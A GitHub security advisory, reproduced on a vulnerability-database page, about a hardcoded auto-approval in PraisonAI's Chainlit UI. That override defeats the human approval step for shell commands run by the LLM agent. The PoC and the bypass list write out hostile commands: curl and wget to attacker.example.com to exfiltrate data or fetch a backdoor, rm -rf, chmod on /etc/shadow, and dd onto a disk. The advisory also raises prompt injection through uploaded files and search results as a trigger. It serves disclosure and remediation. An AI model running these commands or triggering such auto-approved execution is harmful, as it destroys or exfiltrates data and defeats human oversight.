GHSA-QWGJ-RRPJ-75XM

Vulnerability from github – Published: 2026-04-10 19:25 – Updated: 2026-04-10 19:25
VLAI
Summary
PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution
Details

Summary

The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

Details

The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.

However, both UI modules unconditionally override this after loading:

chat.py:156-159:

config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config

code.py:155-158:

config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override

This flows to agent_tools.py:347-348 in the acp_execute_command function:

auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)

The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:

result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)

Command sanitization is insufficient. Two blocklists exist: 1. _sanitize_command() at agent_tools.py:60-86 blocks: $(, `, &&, ||, >>, >, |, ;, &, \n, \r 2. _apply_step() at action_orchestrator.py:449 blocks: ;, &, |, $, `

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.

PoC

Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.

# Step 1: Start the Chainlit UI
praisonai ui chat

# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin

# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"

# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat

# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override

Commands that bypass sanitization blocklists: - rm -rf /home/user/documents — no blocked characters - chmod 777 /etc/shadow — no blocked characters
- curl http://attacker.example.com/exfil — no blocked characters - wget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characters - python3 -c "__import__('os').unlink('/important/file')" — no blocked characters

Impact

  • Arbitrary command execution: An authenticated user (or attacker with default admin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.
  • Confidentiality breach: Read arbitrary files accessible to the process (/etc/passwd, application secrets, environment variables containing API keys).
  • Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
  • Availability impact: Kill processes, consume disk/memory, delete critical data.
  • Administrator control undermined: Even administrators who explicitly set PRAISON_APPROVAL_MODE=manual to require human approval have their configuration silently overridden, creating a false sense of security.
  • Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.

Recommended Fix

Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:

# Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto"  # Trust mode - auto-approve all tool executions

# After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
# Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval

Additionally, strengthen _sanitize_command() to use an allowlist approach rather than a blocklist:

import shlex

ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}

def _sanitize_command(command: str) -> str:
    # Existing blocklist checks...

    # Additionally, check the base command against allowlist
    try:
        parts = shlex.split(command)
    except ValueError:
        raise ValueError(f"Could not parse command: {command!r}")

    base_cmd = os.path.basename(parts[0]) if parts else ""
    if base_cmd not in ALLOWED_COMMANDS:
        raise ValueError(
            f"Command {base_cmd!r} is not in the allowed command list. "
            f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
        )

    return command
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:25:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = \"auto\"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any \"manual\" or \"scoped\" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.\n\n## Details\n\nThe application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`.\n\nHowever, both UI modules unconditionally override this after loading:\n\n**`chat.py:156-159`:**\n```python\nconfig = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"        # hardcoded override, ignoring admin config\n```\n\n**`code.py:155-158`:**\n```python\nconfig = ToolConfig.from_env()\nconfig.workspace = os.environ.get(\"PRAISONAI_CODE_REPO_PATH\", os.getcwd())\nconfig.approval_mode = \"auto\"        # same hardcoded override\n```\n\nThis flows to `agent_tools.py:347-348` in the `acp_execute_command` function:\n```python\nauto_approve = runtime.config.approval_mode == \"auto\"   # always True\napproved = await orchestrator.approve_plan(plan, auto=auto_approve)\n```\n\nThe plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`:\n```python\nresult = subprocess.run(\n    step.target,\n    shell=True,           # shell execution\n    capture_output=True,\n    text=True,\n    cwd=str(workspace),\n    timeout=30\n)\n```\n\n**Command sanitization is insufficient.** Two blocklists exist:\n1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `\u0026\u0026`, `||`, `\u003e\u003e`, `\u003e`, `|`, `;`, `\u0026`, `\\n`, `\\r`\n2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `\u0026`, `|`, `$`, `` ` ``\n\nBoth only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c \"import os; os.unlink(\u0027/important\u0027)\"`, `dd if=/dev/zero of=/dev/sda`.\n\n## PoC\n\n**Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed.\n\n```bash\n# Step 1: Start the Chainlit UI\npraisonai ui chat\n\n# Step 2: Log in with default credentials at http://localhost:8000\n# Username: admin\n# Password: admin\n\n# Step 3: Send a chat message requesting command execution:\n# \"Please run this command for me: cat /etc/passwd\"\n\n# The LLM agent calls acp_execute_command(\"cat /etc/passwd\")\n# _sanitize_command passes (no blocked patterns)\n# approval_mode=\"auto\" \u2192 auto-approved at agent_tools.py:347-348\n# subprocess.run(\"cat /etc/passwd\", shell=True) executes at action_orchestrator.py:458\n# Contents of /etc/passwd returned in chat\n\n# Step 4: Demonstrate the override of admin configuration:\n# Even with PRAISON_APPROVAL_MODE=manual set in the environment,\n# chat.py:159 overwrites it to \"auto\"\nexport PRAISON_APPROVAL_MODE=manual\npraisonai ui chat\n# Commands still auto-approve because of the hardcoded override\n```\n\n**Commands that bypass sanitization blocklists:**\n- `rm -rf /home/user/documents` \u2014 no blocked characters\n- `chmod 777 /etc/shadow` \u2014 no blocked characters  \n- `curl http://attacker.example.com/exfil` \u2014 no blocked characters\n- `wget http://attacker.example.com/backdoor -O /tmp/backdoor` \u2014 no blocked characters\n- `python3 -c \"__import__(\u0027os\u0027).unlink(\u0027/important/file\u0027)\"` \u2014 no blocked characters\n\n## Impact\n\n- **Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.\n- **Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys).\n- **Integrity compromise:** Modify or delete files, install backdoors, tamper with application code.\n- **Availability impact:** Kill processes, consume disk/memory, delete critical data.\n- **Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security.\n- **Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.\n\n## Recommended Fix\n\nRemove the hardcoded override and respect the administrator\u0027s configured approval mode. In both `chat.py` and `code.py`:\n\n```python\n# Before (chat.py:156-159):\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"  # Trust mode - auto-approve all tool executions\n\n# After:\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\n# Respect PRAISON_APPROVAL_MODE from environment; defaults to \"auto\" in ToolConfig\n# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval\n```\n\nAdditionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist:\n\n```python\nimport shlex\n\nALLOWED_COMMANDS = {\"ls\", \"cat\", \"head\", \"tail\", \"grep\", \"find\", \"echo\", \"pwd\", \"wc\", \"sort\", \"uniq\", \"diff\", \"git\", \"python\", \"pip\", \"node\", \"npm\"}\n\ndef _sanitize_command(command: str) -\u003e str:\n    # Existing blocklist checks...\n    \n    # Additionally, check the base command against allowlist\n    try:\n        parts = shlex.split(command)\n    except ValueError:\n        raise ValueError(f\"Could not parse command: {command!r}\")\n    \n    base_cmd = os.path.basename(parts[0]) if parts else \"\"\n    if base_cmd not in ALLOWED_COMMANDS:\n        raise ValueError(\n            f\"Command {base_cmd!r} is not in the allowed command list. \"\n            f\"Allowed: {\u0027, \u0027.join(sorted(ALLOWED_COMMANDS))}\"\n        )\n    \n    return command\n```",
  "id": "GHSA-qwgj-rrpj-75xm",
  "modified": "2026-04-10T19:25:49Z",
  "published": "2026-04-10T19:25:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Hardcoded `approval_mode=\"auto\"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…